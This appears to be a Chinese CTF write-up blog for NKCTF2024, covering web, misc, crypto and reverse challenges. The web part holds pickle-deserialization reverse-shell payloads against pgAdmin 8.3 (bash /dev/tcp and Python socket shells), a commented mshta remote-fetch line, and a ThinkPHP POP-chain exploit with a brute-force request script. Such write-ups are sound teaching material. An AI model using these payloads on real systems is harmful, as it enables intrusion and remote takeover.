NKCTF2024 | 部分WP

很好的比赛(没想到题目质量都挺不错的... 早知道多打打了...)

Web

my first cms

难绷 是真没想到Admin123...
开局先扫

image

/admin/login.php
弱口令 admin/Admin123登陆

image

image

这种CMS首先关注plugin模块 有没有能自定义上传或者执行的

image

写一个php RCE 然后run

image

image

attack_tacooooo

tacooooo师傅用自己的扣扣邮箱在平台上注册了一个用户用来管理数据库,但是最近好像被攻击了,请你帮他排查一下吧!

image

尝试邮箱密码登陆 tacooooo@qq.com/ tacooooo

结合版本 pgAdmin4 8.3 搜对应漏洞

image

image

Shielder - pgAdmin (<=8.3) Path Traversal in Session Handling Leads to Unsafe Deserialization and Remote Code Execution (RCE)
跟着打
改一改反弹shell
两种打法:

import struct
import sys

def produce_pickle_bytes(platform, cmd):
    b = b'\x80\x04\x95'
    b += struct.pack('L', 22 + len(platform) + len(cmd))
    b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
    b += b'\x94\x8c\x06system\x94\x93\x94'
    b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
    b += b'\x94\x85\x94R\x94.'
    print(b)
    return b

if __name__ == '__main__':
    # if len(sys.argv) != 2:
    #     exit(f"usage: {sys.argv[0]} ip:port")
    # with open('nt.pickle', 'wb') as f:
    #     f.write(produce_pickle_bytes('nt', f"mshta.exe http://{HOST}/"))
    with open('posix.pickle', 'wb') as f:
        f.write(produce_pickle_bytes('posix', f"/bin/sh -i >& /dev/tcp/ip/port 0>&1"))

import pickle
import os
import pickletools

class exp():
    def __reduce__(self):
        return (exec, ("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);",))

if __name__ == '__main__':
    c = exp()
    payload = pickle.dumps(c)
    with open('posix.pickle', 'wb') as f:
        f.write(payload)

用过就是熟悉

tp反序列化
靶机没了 附件给了docker可以本地打
找反序列化利用链
入口点:
index.class.php

image

找 __destruct
选择 Windows.php下的

image

image

点号拼接可以触发__toString
Collection.php下的

image

image

跟进toArray

image

访问一个不存在属性可以触发__get
只有View.php

image

调用对象不存在的方法可以触发__call

image

先找Testone下的

image

注意到Testone是抽象类 无法实例化对象 要找一个继承的

image

可以拿hint 但是要爆破文件名
先写exp: 注意 protected/private/public 以及有些传数组的键值

<?php
// Windows.php
namespace think\process\pipes{
    class Windows{
        private $files;
        public function __construct($file){
            $this->files = [$file];
        }
    }
}

// Collection.php
namespace think{
    class Collection{
        protected $items;
        public function __construct($item){
            $this->items = $item;
        }
    }
}

// View.php
namespace think{
    class View{
        protected $data;
        public $engine = array("time"=>"10086");

        public function __construct($data){
            $this->data = array("Loginout"=>$data);
        }
    }
}

// Testone.php
// 注意 Testone是抽象类不能实例化
namespace think{
    abstract class Testone{}
}

// Debug.php
namespace think{
    class Debug extends Testone{}
}

// exp
namespace {
    $Debug = new \think\Debug();
    $View = new think\View($Debug);
    $Collection = new think\Collection($View);
    $Windows = new think\process\pipes\Windows($Collection);
    echo base64_encode(serialize($Windows));
}

bp抓包看看登陆请求的格式

image

照着格式发包写脚本爆破文件名

import hashlib
import time
import requests

url = "http://127.0.0.1:3101/?user/index/loginSubmit"

data = {
    "name":"guest",
    "password":"TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE2OiJ0aGlua1xDb2xsZWN0aW9uIjoxOntzOjg6IgAqAGl0ZW1zIjtPOjEwOiJ0aGlua1xWaWV3IjoyOntzOjc6IgAqAGRhdGEiO2E6MTp7czo4OiJMb2dpbm91dCI7TzoxMToidGhpbmtcRGVidWciOjA6e319czo2OiJlbmdpbmUiO2E6MTp7czo0OiJ0aW1lIjtzOjU6IjEwMDg2Ijt9fX19fQ==",
    "rememberPassword":"1",
    "salt":"1",
    "CSRF_TOKEN":"NAsttPjzKH4RbiNA",
    "API_ROUTE":"user/index/loginSubmit"
}

res = requests.post(url,data=data)
time = int(time.time())
for i in range(time-100,time+100):
    md5 = hashlib.md5(str(i).encode()).hexdigest()
    _url = "http://127.0.0.1:3101/app/controller/user/think/"+str(md5)
    res = requests.get(url=_url)
    # print(res.text)
    if '在线CAD预览' not in res.text:
        print(md5)
        print(res.text)
        break

由于是本地打 所以只拿到了 这里有hint 的文件

image

继续跟着WP云复现...
拿到Hint是一段话
 

image

image

注意到这句:
密码的明文+Chu0
说明登陆密码是加密过的

翻翻前面 index.class.php的登陆处

image

调用了Mcrypt.class.php解密
看了看就是md5得到密钥然后RC4 但是我们可以直接本地调用即可 不需要自己写
然后前五位在前面一段话的请求包里面
把 Mcrypt class复制过来跑一遍

image

根据提示加上Chu0 => !@!@!@!@NKCTFChu0
成功登陆

image

在回收站找到一个html文档 本地啥都没有 靶机上会给一个shell
然后稍微改改exp 利用这个call
Config.php里面的

image

exp:

image

getshell后即可找到flag



很不错的题 可惜比赛没看...

Misc

webshell_pro

hint.py那道一个RSA+b64替换加密
出题人RSA用的d加密e解密...

image

image

U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ==

得到密文和key 直接解AES
在线AES加密 | AES解密 - 在线工具

image

Crypto

ezMath

from Crypto.Util.number import *
from secret import flag

m1, m2 = bytes_to_long(flag[:len(flag)//2]), bytes_to_long(flag[len(flag)//2:])
p, q, r, s = [getStrongPrime(512) for _ in range(4)]
e = 0x10001

n = p * q * r * s
x = pow(q + r, p, n)
y = pow(p * q + r, p, n)
z = pow(s + 1, m1, s ** 3)
c = pow(m2, e * (s - 1), n)

print(f'{n = }')
print(f'{x = }')
print(f'{y = }')
print(f'{z = }')
print(f'{c = }')

# n = 16063619267258988011034805988633616492558472337115259037200126862563048933118401979462064790962157697989038876156970157178132518189429914950166878537819575544418107719419007799951815657212334175336430766777427972314839713871744747439745897638084891777417411340564312381163685003204182743581513722530953822420925665928135283753941119399766754107671729392716849464530701015719632309411962242638805053491529098780122555818774774959577492378249768503656934696409965037843388835948033129997732058133842695370074265039977902884020467413323500218577769082193651281154702147769044514475692164145099161948955990463002411473013
# x = 3021730035236300354492366560252387204933590210661279960796549263827016146230329262559940840168033978439210301546282150367717272453598367244078695402717500358042032604007007155898199149948267938948641512214616076878271433754986480186150178487625316601499002827958344941689933374158456614113935145081427421623647242719093642478556263121508238995676370877385638074444859047640771188280945186355013165130171802867101829647797879344213688981448535289683363612035513789240264618036062440178755665951650666056478493289870170026121826588708849844053588998886259091357236645819074078054595561158630194224419831088510266212458
# y = 8995787142441643101775260550632842535051686960331455373408888374295557050896156890779515089927839904014859222004906681231525326673182671984194300730575609496770604394218160422560576866112460837985407931067753009696969997384839637927957848613356269534870170452152926447601781637641134982178028922559652443398183848786034348994249923007092159192374765197460466878587635412657807328348343062302127490267456095927890461140420639805398464266081441243108883599713672104446500850203779995739675784794478089863001309614674686652597236324659979849324914804032046113978246674538411441434320732570934185579553749616238819583998
# z = 1283646988194723153191718393109711130382429329041718186548715246082834666179475883560020086589684603980734305610989683434078096863563033623169666389076830792095374856743015929373461198718962686411467443788047511292138922700655772772117855226419561159782734009961921473456332468653898105909729309377890721920937410781006337057478451806364879679045839945032594716202888196404203782734864187890231653321470085251
# c = 4988583141177813116287729619098477713529507701428689219486720439476625736884177254107631282807612305211904876847916760967188201601494592359879509876201418493870112712105543214178376471651715703062382025712952561985261461883133695993952914519494709871429166239968478488380137336776740647671348901626710334330855078254188539448122493675463406596681080368929986034772169421577420193671300532508625180845417164660544286332963072804192276425664877337357353975758574262657585309762422727680851018467657523970318042829660721433987195369353660020476598195375492128671951807024027929490113371463210453342974983253996717176870

首先要分解n

x = pow(q + r, p, n)
y = pow(p * q + r, p, n)

很容易想到两边改为modp 利用费马小定理消掉指数
得到

x = q+r      mod p
y = pq+r = r mod p

这样 gcd(x-y,n) => q
又 y-x+q = pq => pq = gcd(y-x+q,n) => p
=> r = x-q mod p => s
分解过后第一段是一个二项式展开解m1(也可以sage直接解) 第二个有限域开方即可
求出第一段发现长度为21 所以bit为168 所以第二个可以转到mod p下求解

n = 16063619267258988011034805988633616492558472337115259037200126862563048933118401979462064790962157697989038876156970157178132518189429914950166878537819575544418107719419007799951815657212334175336430766777427972314839713871744747439745897638084891777417411340564312381163685003204182743581513722530953822420925665928135283753941119399766754107671729392716849464530701015719632309411962242638805053491529098780122555818774774959577492378249768503656934696409965037843388835948033129997732058133842695370074265039977902884020467413323500218577769082193651281154702147769044514475692164145099161948955990463002411473013
x = 3021730035236300354492366560252387204933590210661279960796549263827016146230329262559940840168033978439210301546282150367717272453598367244078695402717500358042032604007007155898199149948267938948641512214616076878271433754986480186150178487625316601499002827958344941689933374158456614113935145081427421623647242719093642478556263121508238995676370877385638074444859047640771188280945186355013165130171802867101829647797879344213688981448535289683363612035513789240264618036062440178755665951650666056478493289870170026121826588708849844053588998886259091357236645819074078054595561158630194224419831088510266212458
y = 8995787142441643101775260550632842535051686960331455373408888374295557050896156890779515089927839904014859222004906681231525326673182671984194300730575609496770604394218160422560576866112460837985407931067753009696969997384839637927957848613356269534870170452152926447601781637641134982178028922559652443398183848786034348994249923007092159192374765197460466878587635412657807328348343062302127490267456095927890461140420639805398464266081441243108883599713672104446500850203779995739675784794478089863001309614674686652597236324659979849324914804032046113978246674538411441434320732570934185579553749616238819583998
z = 1283646988194723153191718393109711130382429329041718186548715246082834666179475883560020086589684603980734305610989683434078096863563033623169666389076830792095374856743015929373461198718962686411467443788047511292138922700655772772117855226419561159782734009961921473456332468653898105909729309377890721920937410781006337057478451806364879679045839945032594716202888196404203782734864187890231653321470085251
c = 4988583141177813116287729619098477713529507701428689219486720439476625736884177254107631282807612305211904876847916760967188201601494592359879509876201418493870112712105543214178376471651715703062382025712952561985261461883133695993952914519494709871429166239968478488380137336776740647671348901626710334330855078254188539448122493675463406596681080368929986034772169421577420193671300532508625180845417164660544286332963072804192276425664877337357353975758574262657585309762422727680851018467657523970318042829660721433987195369353660020476598195375492128671951807024027929490113371463210453342974983253996717176870

from gmpy2 import *
from libnum import *

q = gcd(x-y,n)
pq = gcd(y-x+q,n)
p = pq//q
r = (x-q)%p
s = n//(p*q*r)
assert(p*q*r*s == n)
e = 0x10001
R = Zp(s,prec=3)
m1 = int((R(z).log()/R(s+1).log()).lift())
flag1 = n2s(int(m1))
print(flag1)

phi = (p-1)
e = e*(s-1)
print(gcd(e,phi)) # 4
e //= 4
d = ZZ(inverse_mod(e,p-1))
Gp = GF(p)
kd = Gp(pow(c,d,p))
PR.<x> = PolynomialRing(Gp)
f = x^4 - kd
f = f.monic()
for root in f.roots():
    flag = flag1+n2s(int(root[0]))
    print(flag)

nkctf{cb5b7392-cca4-4ce2-87e7-930cf6b29959}

Reverse

看着前两道不难 就没上机做了 没想到第一道还改了SBOX...

loginsystem

首先username的check是sub_122A处的一个z3

image

解出来 user01_nkctf2024
然后passwd的check是一个xor+一个AES

image

xor解出来 uSer1p4ss

找到AES的表

image

找个脚本换个S INVS 解得 9ee779cd2abcde48
拼一下:

image

md5(user01_nkctf2024uSer1p4ss_9ee779cd2abcde48)

REEZ

加了一点点ollvm混淆 直接D810

image

中间会释放一个outputfile 这才是真正的主函数 后面执行了rm -rf 操作
直接动调断在中间得到文件即可
IDA看outputfile

image

image

其实就是实现了一个类矩阵乘法

image

就是外层又套了一个函数... 直接抄下来丢进z3...
注意界卡死一点: 0~127 放到128都unsat...

from z3 import *
s = Solver()
x = [BitVec('x%d' % i, 8) for i in range(25)]
for i in x:
    s.add(i>0)
    s.add(i<=127)
input_inv = x[::-1]
input_inv[24] = -105 * (39 * (2 * (input_inv[24] & (-105 * (39 * (2 * (input_inv[13] & (-105 * (39 * (2 * (input_inv[14] & 3) + (input_inv[14] ^ 3)) + 23) + 111)) + (input_inv[13] ^ (-105 * (39 * (2 * (input_inv[14] & 3) + (input_inv[14] ^ 3)) + 23) + 111))) + 23) + 111)) + (input_inv[24] ^ (-105 * (39 * (2 * (input_inv[13] & (-105 * (39 * (2 * (input_inv[14] & 3) + (input_inv[14] ^ 3)) + 23) + 111)) + (input_inv[13] ^ (-105 * (39 * (2 * (input_inv[14] & 3) + (input_inv[14] ^ 3)) + 23) + 111))) + 23) + 111))) + 23) + 111
input_inv[23] = -105* (39* (2 * ((input_inv[11] ^ input_inv[10]) & input_inv[23])+ (input_inv[11] ^ input_inv[10] ^ input_inv[23]))+ 23)+ 111;
input_inv[22] = -105* (39* (2* (input_inv[22] & (-105* (39 * (2 * (input_inv[10] & input_inv[9]) + (input_inv[10] ^ input_inv[9])) + 23)+ 111))+ (input_inv[22] ^ (-105* (39 * (2 * (input_inv[10] & input_inv[9]) + (input_inv[10] ^ input_inv[9])) + 23)+ 111)))+ 23)+ 111;
input_inv[21] = -105* (39 * (2 * ((input_inv[7] ^ 0x17) & input_inv[21]) + (input_inv[7] ^ 0x17 ^ input_inv[21])) + 23)+ 111;
input_inv[20] = -105* (39* (2* (input_inv[20] & (-105* (39 * (2 * (input_inv[4] & (-105 * (39 * (2 * (input_inv[15] & 0xFB) + (input_inv[15] ^ 0xFB)) + 23) + 111)) + (input_inv[4] ^ (-105 * (39 * (2 * (input_inv[15] & 0xFB) + (input_inv[15] ^ 0xFB)) + 23) + 111))) + 23)+ 111))+ (input_inv[20] ^ (-105* (39 * (2 * (input_inv[4] & (-105 * (39 * (2 * (input_inv[15] & 0xFB) + (input_inv[15] ^ 0xFB)) + 23) + 111)) + (input_inv[4] ^ (-105 * (39 * (2 * (input_inv[15] & 0xFB) + (input_inv[15] ^ 0xFB)) + 23) + 111))) + 23)+ 111)))+ 23)+ 111;
input_inv[19] = -105* (39* (2 * (input_inv[19] & (~input_inv[1] + input_inv[3] + 1))+ (input_inv[19] ^ (~input_inv[1] + input_inv[3] + 1)))+ 23)+ 111;
input_inv[18] = -105* (39* (2* (input_inv[18] & (-105* (39 * (2 * (input_inv[16] & input_inv[17]) + (input_inv[16] ^ input_inv[17])) + 23)+ 111))+ (input_inv[18] ^ (-105* (39 * (2 * (input_inv[16] & input_inv[17]) + (input_inv[16] ^ input_inv[17])) + 23)+ 111)))+ 23)+ 111;
input_inv[17] = -105* (39* (2* (input_inv[17] & (-105* (39 * (2 * ((~input_inv[4] + input_inv[1] + 1) & 0x11) + ((~input_inv[4] + input_inv[1] + 1) ^ 0x11)) + 23)+ 111))+ (input_inv[17] ^ (-105* (39 * (2 * ((~input_inv[4] + input_inv[1] + 1) & 0x11) + ((~input_inv[4] + input_inv[1] + 1) ^ 0x11)) + 23)+ 111)))+ 23)+ 111;
input_inv[16] = -105* (39* (2* (input_inv[16] & (input_inv[5] ^ (-105 * (39 * (2 * (input_inv[6] & 1) + (input_inv[6] ^ 1)) + 23)+ 111)))+ (input_inv[16] ^ input_inv[5] ^ (-105 * (39 * (2 * (input_inv[6] & 1) + (input_inv[6] ^ 1)) + 23) + 111)))+ 23)+ 111;
input_inv[15] = ~input_inv[8]+ -105 * (39 * (2 * (input_inv[7] & input_inv[15]) + (input_inv[7] ^ input_inv[15])) + 23)+ 111+ 1;
input_inv[14] = -105* (39* (2* (input_inv[14] & (-105* (39 * (2 * (input_inv[10] & input_inv[9]) + (input_inv[10] ^ input_inv[9])) + 23)+ 111))+ (input_inv[14] ^ (-105* (39 * (2 * (input_inv[10] & input_inv[9]) + (input_inv[10] ^ input_inv[9])) + 23)+ 111)))+ 23)+ 111;
input_inv[13] = -105* (39* (2* (input_inv[12] & (-105* (39 * (2 * (input_inv[11] & (-105* (39 * (2 * (input_inv[13] & 0xF9) + (input_inv[13] ^ 0xF9)) + 23)+ 111)) + (input_inv[11] ^ (-105* (39 * (2 * (input_inv[13] & 0xF9) + (input_inv[13] ^ 0xF9)) + 23)+ 111))) + 23)+ 111))+ (input_inv[12] ^ (-105* (39 * (2 * (input_inv[11] & (-105* (39 * (2 * (input_inv[13] & 0xF9) + (input_inv[13] ^ 0xF9)) + 23)+ 111)) + (input_inv[11] ^ (-105* (39 * (2 * (input_inv[13] & 0xF9) + (input_inv[13] ^ 0xF9)) + 23)+ 111))) + 23)+ 111)))+ 23)+ 111;
input_inv[12] = -105 * (39 * (2 * (input_inv[12] & input_inv[13]) + (input_inv[12] ^ input_inv[13])) + 23) + 111;
input_inv[11] = -105* (39* (2 * (input_inv[11] & (input_inv[17] ^ input_inv[16]))+ (input_inv[11] ^ input_inv[17] ^ input_inv[16]))+ 23)+ 111;
input_inv[10] = -105* (39* (2* (input_inv[19] & (-105* (39 * (2 * (input_inv[20] & (-105* (39 * (2 * (input_inv[10] & 0xC) + (input_inv[10] ^ 0xC)) + 23)+ 111)) + (input_inv[20] ^ (-105* (39 * (2 * (input_inv[10] & 0xC) + (input_inv[10] ^ 0xC)) + 23)+ 111))) + 23)+ 111))+ (input_inv[19] ^ (-105* (39 * (2 * (input_inv[20] & (-105* (39 * (2 * (input_inv[10] & 0xC) + (input_inv[10] ^ 0xC)) + 23)+ 111)) + (input_inv[20] ^ (-105* (39 * (2 * (input_inv[10] & 0xC) + (input_inv[10] ^ 0xC)) + 23)+ 111))) + 23)+ 111)))+ 23)+ 111;
input_inv[9] = -105* (39* (2 * (input_inv[21] & (-105 * (39 * (2 * (input_inv[9] & 8) + (input_inv[9] ^ 8)) + 23) + 111))+ (input_inv[21] ^ (-105 * (39 * (2 * (input_inv[9] & 8) + (input_inv[9] ^ 8)) + 23) + 111)))+ 23)+ 111;
input_inv[8] = -105* (39 * (2 * ((input_inv[22] ^ 0x4D) & input_inv[8]) + (input_inv[22] ^ 0x4D ^ input_inv[8])) + 23)+ 111;
input_inv[7] = -105* (39* (2* (input_inv[7] & (-105 * (39 * (2 * ((input_inv[23] ^ 0x17) & 0xF9) + (input_inv[23] ^ 0xEE)) + 23) + 111))+ (input_inv[7] ^ (-105 * (39 * (2 * ((input_inv[23] ^ 0x17) & 0xF9) + (input_inv[23] ^ 0xEE)) + 23) + 111)))+ 23)+ 111;
input_inv[6] = -105* (39* (2 * ((input_inv[7] ^ input_inv[9]) & input_inv[6]) + (input_inv[7] ^ input_inv[9] ^ input_inv[6]))+ 23)+ 111;
input_inv[5] = -105* (39* (2* (input_inv[12] & (-105 * (39 * (2 * (input_inv[10] & input_inv[5]) + (input_inv[10] ^ input_inv[5])) + 23) + 111))+ (input_inv[12] ^ (-105 * (39 * (2 * (input_inv[10] & input_inv[5]) + (input_inv[10] ^ input_inv[5])) + 23) + 111)))+ 23)+ 111;
input_inv[4] = -105 * (39 * (2 * (input_inv[4] & input_inv[13]) + (input_inv[4] ^ input_inv[13])) + 23) + 111;
input_inv[3] = -105* (39* (2* (input_inv[16] & (-105 * (39 * (2 * (input_inv[3] & input_inv[18]) + (input_inv[3] ^ input_inv[18])) + 23) + 111))+ (input_inv[16] ^ (-105 * (39 * (2 * (input_inv[3] & input_inv[18]) + (input_inv[3] ^ input_inv[18])) + 23) + 111)))+ 23)+ 111;
input_inv[2] = -105 * (39 * (2 * (input_inv[19] & input_inv[2]) + (input_inv[19] ^ input_inv[2])) + 23) + 111;
input_inv[1] = -105* (39* (2 * ((input_inv[24] ^ input_inv[22]) & input_inv[1]) + (input_inv[24] ^ input_inv[22] ^ input_inv[1]))+ 23)+ 111;
input_inv[0] = -105* (39* (2 * (input_inv[0] & (-105 * (39 * (2 * (input_inv[23] & 0x18) + (input_inv[23] ^ 0x18)) + 23) + 111))+ (input_inv[0] ^ (-105 * (39 * (2 * (input_inv[23] & 0x18) + (input_inv[23] ^ 0x18)) + 23) + 111)))+ 23)+ 111;

input_inv = input_inv[::-1]

dword_2010 = 0x00000000, 0xFFFFFFFE, 0xFFFFFFFF, 0x00000004, 0x00000001, 0xFFFFFFFF, 0x00000001, 0x00000000, 0x00000000, 0xFFFFFFFF, 0xFFFFFFFD, 0xFFFFFFFE, 0x00000000, 0xFFFFFFF6, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFE, 0x00000001, 0xFFFFFFF3, 0xFFFFFFFF, 0xFFFFFFFA, 0xFFFFFFFF, 0xFFFFFFFE, 0x00000001, 0xFFFFFFFE, 0x00000000, 0x00000000, 0x00000000
out = [0] * 25

for a in range(5):
    for b in range(5):
        v13 = 0
        for c in range(5):
            v3 = dword_2010[5 * a + c] * input_inv[5 * c + b]
            v13 = -105 * (39 * (2 * (v13 & v3) + (v13 ^ v3)) + 23) + 111
        out[5 * a + b] = v13

result1 = bytes.fromhex('3244AA56633D2B09CD34993C56B899DE261F7E0B42C21BEBF5')
result2 = [0x44, 0x30, 0x5F, 0x79, 0x30, 0x75, 0x5F, 0x4C, 0x69, 0x6B, 0x65, 0x5F, 0x57, 0x68, 0x61, 0x74, 0x5F, 0x59, 0x6F, 0x75, 0x5F, 0x53, 0x65, 0x65, 0x3F]
for i in range(25):
    s.add(out[i] == result1[i] ^ result2[i])

assert (s.check() == sat)
model = s.model()
for i in x:
    print(chr(model[i].as_long()),end = '')

NKCTF{THut_1Ss_s@_eAsyhh}

EzNative

以前见到安卓就溜... 还是要学学
题目描述
nian菜鸡在逆向一个app时不小心把没更新到最新版的源文件删掉了,只剩下了最新版的apk和一个分析过的i64文件,你能帮他逆完剩下的过程找到flag吗
给了idb其实就好多了 符号恢复后可以看大致逻辑

image

findcrypt发现base64表
跟进inputtttt_main_MyBody::_anon_closure_35534c 函数
注意到下面有一个F5没有显示的分支

image

showdialog-> 应该是打印正确/错误
DartObjectPool结构体

image

可以看到最后密文是b64形式
b64前还经过了加密 回溯找
inputtttt_main_MyBody::_anon_closure_35534c

image

inputtttt_enen_XX::encryptToString_35592c

image

dart_convert_Codec::encode_342da0

image

inputtttt_enen_XX::encrypt_355994

image

inputtttt_enen_XX::_etL_355b20

image

v14前面赋值了52

image

image

一个标准的xxtea加密
所以总体加密思路就是xxtea后b64
接下来就是找xxtea的key
注意到前面的generalMD5

image

跟进找到
 

image


在结构体找

image

所以是对 inputtttt md5后作为xxtea的key

#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
 
void btea(uint32_t* v, int n, uint32_t* key)
{
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    if (n > 1)            /* Coding Part */
    {
        rounds = 6 + 52/n;
        sum = 0;
        z = v[n-1];
        do
        {
            sum += DELTA;
            e = (sum >> 2) & 3;
            for (p=0; p<n-1; p++)
            {
                y = v[p+1];
                z = v[p] += MX;
            }
            y = v[0];
            z = v[n-1] += MX;
        }
        while (--rounds);
    }
    else if (n < -1)      /* Decoding Part */
    {
        n = -n;
        rounds = 6 + 52/n;
        sum = rounds*DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for (p=n-1; p>0; p--)
            {
                z = v[p-1];
                y = v[p] -= MX;
            }
            z = v[n-1];
            y = v[0] -= MX;
            sum -= DELTA;
        }
        while (--rounds);
    }
}
 
 
int main()
{
    char v[]  = "\x50\x0b\x05\xbe\xcd\xed\x0f\x24\xf1\x14\xf1\x9b\xed\x66\xf2\x05\x84\xa6\xd3\x95\x56\xac\x9c\x60\x8c\x0a\xe3\xf6\x6c\x78\xf7\x4a\x5f\x1f\x52\xce";
    uint32_t* k = (uint32_t*)"17a389e9efdad7cecbbed97fc85ecba4";
    int n= -9; 
    btea((uint32_t*)v, n, k);
    puts(v);
    return 0;
}

NKCTF{f1uTt3r_iS_s0_Easy_y3ah!}

  • 28
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值